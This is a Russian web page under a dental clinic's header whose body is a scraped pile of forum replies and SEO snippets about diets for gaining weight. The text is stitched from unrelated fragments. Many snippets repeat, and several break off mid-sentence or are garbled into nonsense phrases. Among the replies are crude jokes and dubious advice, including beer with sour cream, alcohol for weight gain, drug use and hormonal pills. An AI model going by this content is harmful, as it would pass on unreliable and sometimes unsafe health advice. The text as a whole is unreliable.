Кафедра челюстно лицевой хирургии и стоматологии СамГМУ

ОАО "Поволжский Специализированный Реабилитационный Стоматологический Центр"
Терапия Ортопедия Пародонтология Хирургия Ортодонтия Имплантология Эстетическая хирургия ЧЛХ
  ?>
О компании
Услуги
Прайс
Наши разработки
Наш коллектив
Бесплатная
   консультация

Диеты для потолстения

Диета для потолстения
ЗАВТРАК: стакан фруктового сока, большая порция овсяных хлопьев, замоченных с вечера в молоке или воде и перед употреблением заправленных медом, тертым яблоком и тертыми орехами. Большой кусок хлеба с маслом и 2-3 чашки какао.
ВТОРОЙ ЗАВТРАК: чашка бульона с желтком или стакан фруктового сока с медом и желтком, или большой кусок хлеба с маслом и колбасой, или кусок хлеба с маслом+50 грамм шоколада+стакан йогурта.
ОБЕД: чашка густого супа или жирного бульона+макароны, или картофель, или клецки, или рис с маслом, салат с маслом или майонезом. Большая порция мяса. На десерт - пудинг или мороженное + кофе со сливками.
УЖИН: Большая порция риса с молоком и свежими фруктами, два куска хлеба, пол-литра молока. Перед сном - 1 яблоко.

Диета для потолстения. Продолжительность 1 неделя.Обязательное условие - перед началом диеты устроить один разгрузочный день. В течение этого дня можно есть или 1,5 кг яблок утром и в обед зеленый чай, или выпивать до 2 л кефира, утром и в обед можно съесть по...

Да кушайте на здоровье

Сочетания похожие на Туалетная бумага для лица... .
При любом нормальном спортклубе, растворимые напитки в жестяных банках с увелич. белков и протеинов, для наращивания мышечной массы.

Нервы лечить- самая лучшая диета, а еще щитовидку проверить не мешало бы.
Проверено на себе!

Вот здесь посмотрите : http://www.waylove.ru/dieta_dlya_potolsteniya_uvelichenie_vesa

Макдональдс - I am fuck it

В данной ситуации поможет специальная диета для потолстения.При соблюдении диеты рацион должен быть повышенной калорийности, около 3000 - 3500 ккал в день. Но, если вы питались низкокалорийно, то прибавлять количество калорий необходимо постепенно.

Да пиво со сметаной, лучше всяких диет!! ! По мне видно, не так ли :-)

У меня одна. Не кушать. Я сегодня в 23 : 30 позавтракал, пообедал и поужинал. Правда и поругали, что когда один дома не ем. Просто об этом не вспоминаю и не чувствую голод.

Ешь и не двигайся)) )
может ты марафонец тогда х*р потолстеешь)))))

Подскажите пожалуйста диету для потолстения ребенку!

Катя это не диета. ДИЕТА, - ЭТО КОГДА ХОТЯТ ПОХУДЕТЬ. а У ТЕБЯ ЭТО ДОЛЖНО НАЗЫВАТСЯ " ОБЖОРСТВО ". Ешь больше и чаще, что -то печеное. Вот и вся твоя " диета ". Через время будешь " КОЛОБОК " Только не переусердствуй. А то в двери не войдёшь Удачи !!!

Диета для потолстения. Не только лишний вес может представлять угрозу для здоровья, пониженный вес тоже говорит о каких-либо нарушениях, которые нужно исправлять с помощью правильного питания.

Специально для тех, кто озабочен своей худобой, разработана ДИЕТА для набора веса.
Медицинское обследование.
Серьезный дефицит веса может быть следствием проблем со здоровьем. Именно поэтому перед тем как следовать любой диете нужно пройти полное медицинское обследование. Если в ходе него будут выявлены нарушения в работе внутренних органов, гормональный дисбаланс или другие проблемы со здоровьем, то набрать вес с помощью одной только диеты, скорее всего не получится. При выявлении проблем со здоровьем и правильно подобранной терапии, пациент может констатировать, что набор веса происходит без дополнительных усилий с его стороны. А при соблюдении ДИЕТЫ, предписанной врачом, набор веса будет происходить физиологично, увеличиваясь в среднем на один килограмм в месяц. Лечебное питание при худобе предполагает не только высококалорийную диету, но и правильно составленный рацион. Не стоит резко увеличивать количество потребляемой в сутки еды, поскольку это может вызвать отвращение к пище и психологический отказ от нее. Целесообразнее увеличивать ежедневный калораж постепенно, прибавляя каждый день по 200-300 калорий к привычному меню.
Важным условием правильной диеты является не только ассортимент продуктов, но и частота употребления пищи. Суточный объем еды нужно разбить на четыре-пять приемов пищи. Таким образом, можно увеличить количество потребляемых калорий, не создавая серьезную нагрузку на органы пищеварения.
Состав рациона
ДИЕТА для набора веса является высококалорийной и значительную часть рациона при этом занимают белковые блюда. Каши при такой диете варятся только на молоке, салаты заправляют калорийными заправками, а бутерброды делают с маслом и сыром, или маслом и колбасными изделиями, добавляя сверху ломтик авокадо. Таким образом, калорийность тех же бутербродов становится на порядок выше.
Овощные запеканки, макароны или гарнир можно посыпать тертым сыром, сваренные на молоке каши щедро заправлять сливочным маслом. Даже при выявленных во время медицинского осмотра нарушениях в работе печени, в диету для набора веса можно включать свежую сметану. Она хорошо усваивается организмом и повышает калорийность блюд.
Примерный состав меню ДИЕТЫ ДЛЯ НАБОРА ВЕСА.
Для разнообразного питания можно составить несколько вариантов меню, придерживаясь следующих правил диеты для набора веса: выбирать калорийные продукты, есть чаще и обязательно регулярно.
Первый вариант:
Завтрак: овсяная каша с орехами, изюмом и медом, бутерброд с маслом и сыром, сладкий кофе с молоком.
Второй завтрак: макароны с тефтелями, хлеб с маслом, фруктовый сок.
Обед: наваристые щи, картофель с луком и маслом, жареная рыба, салат со сметаной, фруктовый сок.
Полдник: стакан молока, можно с печеньем.
Ужин: гречневая каша с молоком и цукатами, сладкий чай и бутерброд с маслом и колбасой.
Второй вариант:
Завтрак: пшенная каша на молоке, свекольная икра, бутерброд с маслом и сыром, какао.
Второй завтрак: сладкий йогурт, бутерброд с колбасой, фруктовый сок.
Обед: борщ, макароны с сырной заправкой и биточки, сладкий компот из сухофруктов.
Полдник: салат из свежих овощей с натертым сыром и жирной заправкой.
Ужин: омлет с ветчиной, помидорами и сыром, стакан теплого молока с медом.
Третий вариант:
Завтрак: тушеный картофель с мясом, булочка с маслом, сладкий кофе с молоком.
Второй завтрак: овсяные хлопья с молоком и сухофруктами.
Обед: наваристый гороховый суп, салат с майонезом, десерт и чай.
Полдник: фруктовый салат из бананов, авокадо и киви, заправленный йогуртом.
Ужин: гуляш, рисовая каша, булочка с маслом и сладкий чай.
Придерживаться любого из предложенных вариантов диеты можно только после консультации с врачом, чтобы выбранное питание не навредило, а пошло только на пользу. Кроме соблюдения диеты для набора веса очень важно регулярно выполнять комплекс упражнений, полноценно отдыхать, избегать стрессовых ситуаций.
С разрешения врача можно применять лекарственные препараты, повышающие аппетит и стимулирующие пищеварение,

Включи в свой рацион побольше йогурта и творога. И кушай полноценно.

На молочную продукцию налегай, на творог особенно

Подскажите диету для потолстения

Я думал что диета для похудения только бывает
чтоб потолстеть надо жрать в макдаке все подряд и меньше движений, удачи тебе )

Для потолстения 1. Надо питаться редко, но обильно.Есть друзья, которым требуются прям необходимы такие диеты. не то, что внешне что-то не так, а даже врачи говорят...

А ты что худой???

Пиво и раки

Миша женись на украинке

Всем бы такую проблему... *

Потолстеть очень сложно. Это дело требует много времени и денег. Кушай все - только в больших порциях =D

Диеты для потолстения. 90 дневная диета раздельного питания бреды хробат и мойцы поляншек.3-4 раза в день при нарушениях обмена веществ, малокровии. Характер обмена веществ во многом предопределяется влиянием возраста.

На полстакана томатного сока полстакана сметаны.

Налегайте на орехи (они очень питательны, калорийны), мучное) Только слишком жирной и слишком сладкой пищей не увлекайтесь-вредно!

Протеиновые батончики в фитнесс-клубе. всех видов и вкусов и мастей. 100% результат, гарантированный. стоят недорого. там же протеиновые напитки. в любых фитнесс-центрах. только нужно аккуратней, иначе можно переборщить с весом. это залог того, что вес будет набираться не за счет жира, а за счет белков.

Макдональдс, нах.

Какая диета для потолстение?

О, это просто )))
побольше пива и фастфуда.

Диеты для потолстения Однако, это требование не слишком жесткое.Александра, располагающего собственной программой лечебно-профилактических сеансов, основывается на 35 дней.

Поесть и сразу спать...))

Диета № 15 — при различных заболеваниях, не требующих специальной диетотерапии.

Диета? Для того, чтобы набрать вес? Это отсутствие диет. Есть всё подряд.

БООЛЬШЕ булок

Аххахха, я тебе скажу только ты мне сначала скажи как похудеть)))

Диета для потолстения. Всегда есть люди, которым не нравится собственное изображение в зеркале нарекание вызывают не только недоскональные черты лица, но и фигура.Диета на 7 дней для похудения.

Есть большими порциями 7 раз в день

Булки с маслом и какао с сахором каждые 2 часа сколько влезет и ещё немножко

Какие есть диеты для потолстения?? и их номер??

Сумошники жрут рис и пьют кока-колу.

Тренажерный зал необходимо посещать в первой половине дня не менее трех раз в неделю. В дни тренировок предусмотрено дополнительное питание заДиета для потолстения должна состоять из белка 30 процентов , жиров 30 процентов , углеводов 40 процентов .

По полстакана пива и сметаны смешать и пить натощак. Или молоко со сливками так же. За неделю 4кг обещают.

Нет таких диет, Юлия. Весь мир сошел с ума худеет, блин! А тем кто хочет маленько поправится говорят: "Какая тебе диета! Жри булку, запивай колой! " Это ведь не правильно? Должно быть что-то рациональное. Не могу найти! Советуют всякие гормональные препараты как для спортсменов. А я не хочу всякой химии. Юленька, может правда надо с утра до вечера жрать булочки пока жирняги придумывают диеты для себя? Как я Вас понимаю!

Булки, пирожные, тортики.

Лучшая диета для ...потолстения??

ХОЛОДИЛЬНИК, наполненный разными продуктами, что бы дверка еще плотно так от еды закрывалась))) )
Морозильник не помещает, с разной там высококалорийной едой.
И вперед, за неделю, себя в зеркале не узнаете))))

Диета для потолстения правила. К этой диете следует подходить очень осторожно, делайте это постепенно, но систематично.Диета для потолстения рекомендует употреблять пищу примерно пять-шесть раз на день.

Переход на ночное питание

Девчата, зачем вы изводите себя диетами, стараясь похудеть ?

Я не извожу .

Начните кушать каши если их раньше не ели, каждый день много овощей и фруктов, пейте натуральные соки, молоко лучше деревенское , молочные продукты творог, сметану, сливки . Много набирать вам не нужно, оптимально набрать 5-7 кг.

Я не для мужчин держу вес в норме, а для собственного комфорта

Доски полезны для спины)))

Хорошо. Не буду.

Худая корова - еще не газель.
вот какой должна быть женщина:

Стандарты красоты, навязанные западной модой. да и мужик нынче пошел разборчивый, приходится соответствовать

Сертифицированное обучение Zumba TM 13-14 июня в Минске. Последние дни льготной регистрации.Диета для потолстения. Пониженный вес говорит о том, что текущий режим питания недостачен в отношении углеводов, белков и жиров и его нужно изменить в сторону...

Лежите на здоровье, а я и так худая!))

А причем тут вы?
Лично я стараюсь выглядить стройно и подтянуто исключительно для себя.
Правда диетами себя не извожу, но и не ем все подряд в немерянных количествах

Все вы так только говорите, а на самом деле на стройняшек засматриваетесь и слюни пускаете.

Им что в лоб, что полбу, воспитаны на глянцевых журналах и рекламе. не переубедить

Сейчас большинство мужчин на стройных смотрят .

Диета для потолстения Пониженный вес указывает, что существующий режим питания недостачен в отношении белков, жиров иОбязательное условие - перед началом диеты устроить один разгрузочный день. В течение этого дня можно есть или 1,5 кг яблок утром и в...

"конституция" у нас в роду такая

Мой любит "кровь с молоком" по этому я не заморачиваюсь

Не страдаю глупостью, просто росту

А почему Вы решили, что мы ради Вас стараемся ?! ))))))))))
Может ради любимого "маленького черного платья" . ;)

Диета для ПОТОЛСТЕНИЯ!!!

У самой была проблема, надо было набрать вес, так вот мне посоветовали есть детское питание, лично мне помогло. Только плюс ко всему еще и все-таки нужно делать какие-нибудь физические упражнения, это для того, чтоб в ненужных местах не накапливалось

Диета для потолстения. 30.03.2014 г. Довольно часто бывает, что нам просто необходимо набрать вес за довольно короткий период времени.Диета для уменьшения объема бедер. 26.08.2014. Как похудеть за 11 дней?

Привет всем!Подскажите диету для потолстения?

Бери больше, кидай дальше, отдыхай пока летит

Рацион диеты для потолстения имеет повышенную калорийность, примерно 3000-3500 ккал в день. Но, если при этом ваше обычное меню было низкокалорийным, прибавлять количество калорий необходимо прибавлять постепенно, что бы организм успел...

Чтобы толстой Свинкой стать,
Нужно много есть и спать!. . =))

Че, в городе Макдональдоствов нет???!)))

Усиленное питание.. . И постельный режим...

Смотрите на диету для похудания и делаете наоборот

Ешь все что видишь, перед сном - в двойном количестве.

Примерное меню на день Утро куриное отварное филе с гарниром из каши гречневой, яйцо, сливовый компотДиета для потолстения для подростков. Методика набора веса у подростков предусматривает высококалорийный, но безвредный пищевой рацион.

Ты не поверишь - 7 кг за две недели.. .

У меня есть один рецепт, но он понадобится после того как наберешь вес, Понедельник=берешь яйцо, вторник_ варишь, среда_чистишь, четверг_ешь белок, пятница, желток, суббота, воскресенье, разгрузочные дни.

Не есть натощак!

Зачем вам диета для похудения ?

ЗА тем

Я знаю один житейский рецептик потолстения . Нужно каждый день пить пиво и закусывать яичницей с салом.А вот я тоже хочу какую нибудь диету для поправления,тоже ем вроде бы не мало,а вот рост 168,а вес 50кг.,вроде некоторые говорят ну и хватит.Но большое но,так...

Предлагаешь для потолстения диету?: -)

У нас в Хабезе сапсем не худеют. (несолидно!)

При росте 170см. вес 51кг - это считается худорбою???)

Худовата, однако.

Диета для потолстения. 30 Май 2010.Диета для желающих поправиться. Мы предлагаем вам примерную диету на неделю, которой вы можете придерживатьсястащил тут. эээххх, и дорогая же диета получается, мало того что есть надо 6 раз в день , да еще и столько...

Рост - 110=примерная норма веса для женщин

Маловато будет

Главное не вес и рост, главное что тебя не называют "кожа" да "кости",и ты чувствуешь еду
а остальное уже не важно

Выражаясь культурно и медицинскими терминами - это дефицит веса

У меян рост 173 и вешу примерно 50..да врачи считают дифицит веса ..15 кг мне не дохватывает...

Желающему поправиться необходимо потреблять высококалорийную пищу около 3000 калорий в день.Большую роль в усиленной диете играют яйца в различном виде. Примерное меню диеты для набора веса. Первая диета.


Нормально. у меня почти такие же пропорции. все устраивает в полне )))

Для кого-то худая, для кого-то нормальная. Если ты от природы такая, то не парься! Если специально изморила себя до такого состояния, то.... Лучше поднабери обратно килограмма 4-5

О худобе говорить не приходится.

Диета для "потолстения"

Все зависит от того, хотите ли вы набрать жировую массу, либо мышечную.
Ешьте побольше мяса (лучше свинину) , яйца, картофель, различные крупы и молочные каши, сладкие фрукты (типа винограда и бананов, они более каллорийные) , жирный творог (если не любите, можно добавить в него сливок, фруктов и посыпать корицей - получится отличный десерт) .
Добавляйте в пищу различные натуральные специи, чтоб повысить аппетит. Также алкогольные напитки способствуют набору массы тела.
Все вышеперечисленные продукты очень полезны и не навредят организму (типа жирного фастфуда)

В таком случае понадобиться диета для потолстения. Чтобы поправить свое здоровье просто необходимо поправиться, иначе можно столкнуться с такими болезнями как анорексия, булемия, гастрит, язва желудка.

Для улучшения аппетита пейте целебные травяные настои: барбарис и мята помогают организму лучше усваивать поступающие питательные вещества. Эти настои можно пить по 100 г до и после еды. Кроме этого, купите в аптеке порошок пажитника - тоже эффективное средство от худобы.
Ешьте пищу, богатую не столько жирами, сколько витаминами. Например, говяжью и свиную печень, субпродукты, обычные (или пивные) дрожжи, все виды бобовых, мясо. Очень полезен рыбий жир.
Следите за печенью! Как известно, именно она занята переработкой жиров в организме. Изделия из теста и свежая сметана для вас предпочтительнее тортов с кремом и сливочного масла.
Не перегружайте желудок! Лучше разделить высококалорийный дневной рацион на несколько порций, чтобы не испортить пищеварение. Кроме обычной воды пейте соки из сладких фруктов.

Пейте белковый коктейль после каждой еды. И ОБЯЗАТЕЛЬНО пейте при этом ЩЕЛОЧНУЮ минеральную воду типа Боржоми. Боржома сейчас, правда, нет, но есть хорошая водичка, называется Донат. Везде продается.
P.S. Вам тут советуют есть высокоуглеводную пищу. Этого делать не стоит. Лучше есть побольше белков.

Пей протеиновые коктели

Уже то что не можете поправиться, говорит о том что есть проблемы. Сходите к эндокринологу, попросите сдать кровь на гормоны, может быть высокий выброс тироксина в кровь, и отсюда вся проблема.

Я тоже худенькая, вот почитала ответы и хочу сказать, все говорят побольше кушать (белков, протеинов и т. д.), А если кушаю хорошо и аппетит есть и не поправляюсь? Тогда как быть? У вас, наверное, такая проблема.

Диеты для потолстения. Основное. Как быстро похудеть.До того, как сесть на диету, вам стоит распределить норму суточных калорий, необходимых вам для набора массы, а также определить сколько раз в день вы будете есть и в каком количестве.

На хрена насиловать организм? ! о_О Если ты здорова и нормально себя чувствуешь? ! о_О Высшая степень глупости или все-таки у тебя какая-то болезнь, вроде анарексии?!

Хотите поправиться? проблем нет. Сейчас это легко отрегулировав диету и нагрузив себя и свой желудок. Но вы подумали что люди полные худеют а потом у них начинаются проблемы со всем желудочнокишечным трактом. Если ваш организм держит постоянный вес уже несколько лет то значит все процессы идут нормально и организм одаптировался под такой рост-вес. А вы задумывались ли когда-нибудь что любое изминение веса - это удар по гормонам, сердцу, почкам и печени. Если повышение веса за счёт увеличения количества пищи то ещё удар и по желудку и кишечнику. При чём желудок растягивается. И снова его сузить довольно таки тяжело. Вы об этом думали? Нет? Зря.. . Любой скачок в нашем теле это стресс для нашего организма. Ну для тех кто "в танке" им "пофигу" но потом опять бегать по врачам, стараться худеть.. . глупо. Очень глупо.. . Если полнеть из-за "хахаля" это, простите, уже дебилизм. Сломать быстро и легко. А вот удасться ли вернуть всё назад в случае "провала задания"? Это организм. Он ошибок не прощает. Подумайте...

Продукты пчеловодсва помогут тебе скоректировать свой вес.... Есть очень много примерово как у kltq нормализовывался обмен веществ

Подскажите диету для ПОТОЛСТЕНИЯ!

Пить пиво !

Диета для потолстения. Продолжительность 1 неделя.Обязательное условие - перед началом диеты устроить один разгрузочный день. В течение этого дня можно есть или 1,5 кг яблок утром и в обед зеленый чай, или выпивать до 2 л кефира, утром и в обед можно съесть по...

Нужно усиленно пить пиво "Охота" и есть мясо

Пей пиво со сметаной. Реально помогает!

Посоветуйся сначало с врачем лишним небудет

Пирожные, булочки, бутерброды с маслом, колбасой и сыром, пельмени, манты, плов и после еды обязательно лежать и не двигаться.

НАДО ПИЦЦЫ ПОБОЛЬШЕ ЕСТЬ!!!

В данной ситуации поможет специальная диета для потолстения.При соблюдении диеты рацион должен быть повышенной калорийности, около 3000 - 3500 ккал в день. Но, если вы питались низкокалорийно, то прибавлять количество калорий необходимо постепенно.

Налегай на бутербродики, газировку, сладенькое, жирненькое. Спи по больше.. . Поела, поспола.... ну и тем же духе месяца 2 )) удачи

Пиво и сметана каждый день

Может вам лучше заниматься спортом, накачать немножко мышцев, чтоб выглядеть " не сухо"? А то такая диета будет значить есть есть много кушать. . А это вредно.. . =)

Кто что посоветует поесть для ПОТОЛСТЕНИЯ?

Только наесться дрожжей (Юмор)

Диета для потолстения. Не только лишний вес может представлять угрозу для здоровья, пониженный вес тоже говорит о каких-либо нарушениях, которые нужно исправлять с помощью правильного питания.

Пиво с молоком, Малинин так поправился

Ешь по больше хлеба, пирожных, булочек... в общем дрожи и сладкое!!!

Пиво + кифир (причем употреблять строго вместе!!! ) и при никуя ниделаньи, т. е. при нулевых нагрузках, вырастешь в пузе и в жирку ой ей ей :)

Лучше обкурится!

Ну если ты Мазай, то логично буит зайцев трескать!)))) Их у тебя дофуя!))))

Для потолстения 1. Надо питаться редко, но обильно.Есть друзья, которым требуются прям необходимы такие диеты. не то, что внешне что-то не так, а даже врачи говорят...

Лучше пей белковый коктель, мне его выписывали после болезни.... 500мл молока, 1 яйцо, 1 чайная ложка дрожжей. если честно на вкусно говно. но хорошо помогает

Да перестань...

Пивные дрожжи в каждое блюдо, во время еды.

Жрать меньше надо

Тебе необходимы гейнеры - белково-углеводные добавки http://fitnesspoint.ru/catalog/?SECTION=45

Диеты для потолстения. 90 дневная диета раздельного питания бреды хробат и мойцы поляншек.3-4 раза в день при нарушениях обмена веществ, малокровии. Характер обмена веществ во многом предопределяется влиянием возраста.

Ответте. Люди вот скажите мне, почему мужчины не любят полных девушек, не жирных, а полноватых, ведь они тоже люди!?

А почему девушки не любят унылых задротов - они ведь тоже люди

Диеты для потолстения Однако, это требование не слишком жесткое.Александра, располагающего собственной программой лечебно-профилактических сеансов, основывается на 35 дней.

Брехня! ! Ещё как любят, на каждый товар свой купец..

А кто скказал что мужчины не любят ?
простто надо найти своего единственного, который будет тебя любить вот такой какая ты есть.

Если бы мужчины не любили полных девушек, то полные люди просто бы вымерли.... Так что это заблуждение.

Все зависит от человека. Некрасивых женщин не бывает. Мужчиной движет либидо, поэтому он в молодости и в средние года тянется к стройным женщинам. Все это происходит на генетическом уровне, так сказать самец нацелен на выполнение генетической программы продолжить род. Длинные ноги, высокий рост, большая грудь и прочее, говорит о том, что девушка созрела и готова вступать в половой контакт. Мужчина автоматом реагирует

Ну конечно люди просто есть стереотипы

Диета для потолстения. Всегда есть люди, которым не нравится собственное изображение в зеркале нарекание вызывают не только недоскональные черты лица, но и фигура.Диета на 7 дней для похудения.

Бред. у нас в колледже все только с немного помпушками и встречаются.. не те парни вам попадаются, девушка!)

Бред все это...

Это все из-за стереотипов которые нам навязывают СМИ и западные модельеры которые в большинстве своем геи. Вот и ввели в моду девушек без груди и попы.

Вообще-то мужчины любят нормальных девушек, полноватая - это еще нормальная. . суповой набор еще никому надолго был не нужен....

Вы о каких мужчинах? В нашем крае наоборот, не любят костлявых, берут в жёны пышненьких, аппетитных.

Тренажерный зал необходимо посещать в первой половине дня не менее трех раз в неделю. В дни тренировок предусмотрено дополнительное питание заДиета для потолстения должна состоять из белка 30 процентов , жиров 30 процентов , углеводов 40 процентов .

Люди меня сносит ветром, откройте секрет диеты для потолстения????

Плюшки и сало в шоколаде

Диета для потолстения правила. К этой диете следует подходить очень осторожно, делайте это постепенно, но систематично.Диета для потолстения рекомендует употреблять пищу примерно пять-шесть раз на день.

7-й - 9-й месяц беременности.

Курить бросай!

Я тоже не могу поправиться. Ем и ем а толку мало!

Жрать после 6 вечера. хотя я ем и ничего

Не кури.

Начните кушать каши если их раньше не ели, каждый день много овощей и фруктов, пейте натуральные соки, молоко лучше деревенское , молочные продукты творог, сметану, сливки . Много набирать вам не нужно, оптимально набрать 5-7 кг.

Пару кирпичей в карманы

Давайте,братцы,кушать,ну хотя бы через день...

Пиво со сметаной!

Ровняи лицо с попои

Протеинчик принимай!

Сертифицированное обучение Zumba TM 13-14 июня в Минске. Последние дни льготной регистрации.Диета для потолстения. Пониженный вес говорит о том, что текущий режим питания недостачен в отношении углеводов, белков и жиров и его нужно изменить в сторону...

Питаться спермой)

Могу весом поделиться!!!

Не какай, поможет)

Мне ничего тоже не помогает!! ! узнаешь-напиши совет, жду!!

Где найти диету для потолстения?Хочу полную попу и ляшки!Как потолстеть?Прошу ответьте!Устала брякать костями!!!

Кушай больше и спортом занимайся хорошо помагает быть в форме не толстый и не худой само то

Диета для потолстения Пониженный вес указывает, что существующий режим питания недостачен в отношении белков, жиров иОбязательное условие - перед началом диеты устроить один разгрузочный день. В течение этого дня можно есть или 1,5 кг яблок утром и в...

Может у тебя такая конституция организма и ты никогда не поправишься,а так пей таблетки пивные дрожжи разнесет что бочонок с пивом!

Купи протеин, это пишевая добавка и ешь побольше, за месяц разопрет, только осторожней, может не ровномерно

Пей пивные дрожжи

Ешь после 6 мучное и сладкое!

У меня та же проблема. ;-) Многие советуют смешивать пиво со сметаной. Гадость жуткая. Говорят, что помогает. Но не мне.

Диета для потолстения. 30.03.2014 г. Довольно часто бывает, что нам просто необходимо набрать вес за довольно короткий период времени.Диета для уменьшения объема бедер. 26.08.2014. Как похудеть за 11 дней?

У всех по разному откладываются жировые отложения, то что они отложаться на попе или бедрах не факт, сколько бы вы не кушали. Для этого нужно заниматься в спортзале, на определенную группу мышц. Ну или прибегнуть к хирургическому вмешательству, как Джей Ло!!!

"после 6 мучное"-дурь какая-то. Сало,мясо,колбаса-вот это да

Подскажите диету для потолстении или дайте ссылку по теме пожа

Да, вообще без проблем!
Кушать всё, что оканчивается на "це"!
Сальце,
маслице,
вареньеце,
хлебце и т. д.

Рацион диеты для потолстения имеет повышенную калорийность, примерно 3000-3500 ккал в день. Но, если при этом ваше обычное меню было низкокалорийным, прибавлять количество калорий необходимо прибавлять постепенно, что бы организм успел...

Http://www.fittoday.ru/page-al-kak_nabrat_ves.html ,
,
А есть калорийное не пробовали? Идеально было бы для вас мышечную массу нарастить, но это после.. . а так, если тока есть побольше и пожирнее. Молочные каши с маслом, хлеб, свинину, макароны-картошку.. . В общем, антидиету соблюдать. Только вредные продукты наверное лучше ограничить.. .
Спецдиета - жирное+ мучное + сладкое... и после 18.00. Утром вообще не есть, в обед и ужин - отрываться по полной.. . будет даже 10 кг точно. А потом можно начинать худеть))) )

Подскажите диеты для потолстения?

Все стратегии прибавления веса основаны на потреблении высококалорийных продуктов и занятиях спортом с целью наращивания мышечной массы.
* Продукты с большой энергетической ценностью: потребление таких продуктов - ключ к прибавлению веса. Чтобы поправиться, выбирайте самые калорийные продукты в каждой пищевой группе, например, молочный коктейль вместо обезжиренного молока, авокадо вместо огурцов, стакан виноградного сока вместо небольшого яблока и сдобную булку вместо черного хлеба.
* Полноценное регулярное питание: люди с ненормально низким весом должны уделять максимальное внимание питанию, т. е. каждый день находить время, чтобы спланировать, приготовить и съесть пищу. Регулярное питание - это как минимум три приема пищи каждый день. Кроме того, люди, стремящиеся поправиться, должны научиться съедать большее количество пищи за первые двадцать минут еды. Как известно, аппетит приходит во время еды, а "разбудить" его помогут пикантные мясные закуски. Еще один способ оживить привычную обеденную церемонию: поменять порядок блюд - вначале съесть второе, а затем первое и салат.
* Огромные порции: очень важно научиться съедать как можно больше пищи за один прием. За завтраком накладывайте на бутерброд несколько ломтиков сыра и колбасы, пейте молоко из большого стакана и ешьте кашу из большой тарелки. Как правило, люди с недостаточным весом привыкли съедать только маленькие порции. Поэтому ощущение дискомфорта, которое возникает у них при переходе на большие порции, вполне закономерно и со временем исчезнет.
* Постоянные перекусы: поскольку необходимо увеличить потребление калорий, следует питаться чаще. Отличное решение - дробные перекусы между основными приемами пищи.
* Известно ли вам, что 6 стаканов клюквенного сока увеличивают ежедневное потребление энергии на 1000 килокалорий. Чтобы увеличить калорийность молока, добавляйте в него сухое порошковое молоко или разбавляйте молоком завтраки быстрого приготовления. Терапевт или диетолог может порекомендовать для ускоренного прибавления веса калорийные смеси с высоким содержанием клетчатки.
* Тренировки для наращивания мышечной массы: чтобы прибавить в весе, займитесь силовыми тренировками и увеличьте потребление энергии, чтобы поддержать организм. Обильное питание помогает нарастить как мышечную, так и жировую массу. Кроме питания, интенсивность наращивания мышечной массы также зависит от телосложения. Как правило, для наращивания мышц необходимо потреблять на 500 - 1000 калорий в день свыше нормального уровня. Суточную потребность организма в энергии можно рассчитать на основе массы тела человека. Если для поддержания теперешнего веса необходимо 2400 килокалорий в день, то для наращивания мышц потребуется от 2900 до 3400 килокалорий. Не стоит резко увеличивать потребление энергии, это следует делать постепенно, чтоб избежать желудочного дискомфорта, упадка настроения и, что более серьезно, нарушения электролитического баланса и развития сердечных заболеваний.
Помните, что конечный результат прибавления веса, как и конечный результат похудения, зависит от правильного сочетания физической активности и потребления энергии.

Примерное меню на день Утро куриное отварное филе с гарниром из каши гречневой, яйцо, сливовый компотДиета для потолстения для подростков. Методика набора веса у подростков предусматривает высококалорийный, но безвредный пищевой рацион.

Чистый солод и хмель!
Результат - в моих фото

Диет не знаю, но сама ела пчелиный хлебушек. Поправилась на 5 кг

А зачем тебе это надо??? :)

Обожрись белого хлеба и макарон-заешь это все сметаной и напихай за обе щеки по куску торга и главное ежедневные тренировки в макдоналдсе чтобы жир рекой тек со всего))))) ) будешь как ОБЛАКО через год))))))))))))))))

А что такое пчелиный хлебушек?

Я знаю один житейский рецептик потолстения . Нужно каждый день пить пиво и закусывать яичницей с салом.А вот я тоже хочу какую нибудь диету для поправления,тоже ем вроде бы не мало,а вот рост 168,а вес 50кг.,вроде некоторые говорят ну и хватит.Но большое но,так...

Пиво со сметаной! ! И анти-глистовые припораты!

Пиво с мороженным и пару шоколадок....

Избавиться от вредной привычки есть второпях и всухомятку. Неправильное питание приводит к постепенному снижению массы тела и становится причиной серьезного нарушения пищеварения. Только рациональное и сбалансированное 4-5-разовое питание позволит сохранить здоровье и сформировать привлекательную фигуру! В течение дня пейте сладкие фруктовые соки - они снабдят организм дополнительными калориями, активизируют выработку инсулина, возбуждающего аппетит. Начните принимать настой мяты. Он хорошо влияет на пищеварение, повышает аппетит и улучшает усвояемость питательных веществ. Поместите в термос 40 г сухих листьев этой ароматной травы, залейте литром кипятка и настаивайте примерно полчаса. Принимайте по 1/2 стакана за 15-20 минут до еды для возбуждения аппетита и через полчаса после еды - для активизации пищеварения. Освойте специальный комплекс упражнений, направленный на наращивание мышечной массы. Подробнее о нем можно узнать в ближайшем фитнес-центре. Если эти советы не помогли поправиться, то знайте, что существуют гормональные препараты, дающие стопроцентный эффект. Какое средство подойдет именно Вам и как долго его принимать, подскажет только лечащий врач. Но помните, у любого лекарства есть побочные эффекты!
Если сниженный вес получился от того, что занятия спортом до "седьмого пота" истощили организм:
А ведь физическая нагрузка должна приносить только радость. Так что сбавьте темп. Во время тренировок контролируйте свой пульс. Максимально допустимая частота не должна превышать 170- 180 ударов в минуту. Не тренируйтесь на голодный желудок, так как при физических нагрузках в организме расходуются в основном углеводы, которые являются важнейшим источником энергии. Поэтому перед занятием "зарядитесь" углеводной пищей: она предотвратит слабость, сердцебиение, головокружение. Чтобы быть в отличной форме, правильно составляйте меню. Включайте в него не только жиры и углеводы, но и белки, которые являются незаменимыми "строителями" мышечной ткани. Кстати, Рациональное питание, прием целебных настоев трав и умеренные занятия спортом быстро помогут решить проблему: белковая пища предотвращает развитие анемии и на 50% покрывает дневную потребность организма в калориях.
Не забывайте об отдыхе. В выходные отправляйтесь с друзьями за город. Возьмите отпуск и махните, например, на море. Подышите ароматным воздухом, безмятежно поваляйтесь на прибрежном песочке. В общем, на время забудьте о спорте и расслабьтесь.
Если потерян сон и аппетит, а виной тому - стресс: безответная любовь, аврал на работе.. . Восстановить утраченные килограммы помогут маленькие хитрости.
-Ешьте природные антидепрессанты - хурму, айву, груши, бананы, сыр, шоколад, базилик, сельдерей. Они укрепляют нервы и вызывают положительные эмоции.
-Для успокоения выпивайте на ночь стакан теплой воды с медом и соком половины лимона.
-Каждый день готовьте настой чабреца. Он тонизирует нервную систему, снимает усталость, апатию, раздражение. Поместите в термос 20 г чабреца, залей литром кипятка, настаивайте в течение часа. Принимайте настой по 1/3 стакана за полчаса до еды.
Из худышки в пышку
Есть ещё один, на первый взгляд, парадоксальный способ:
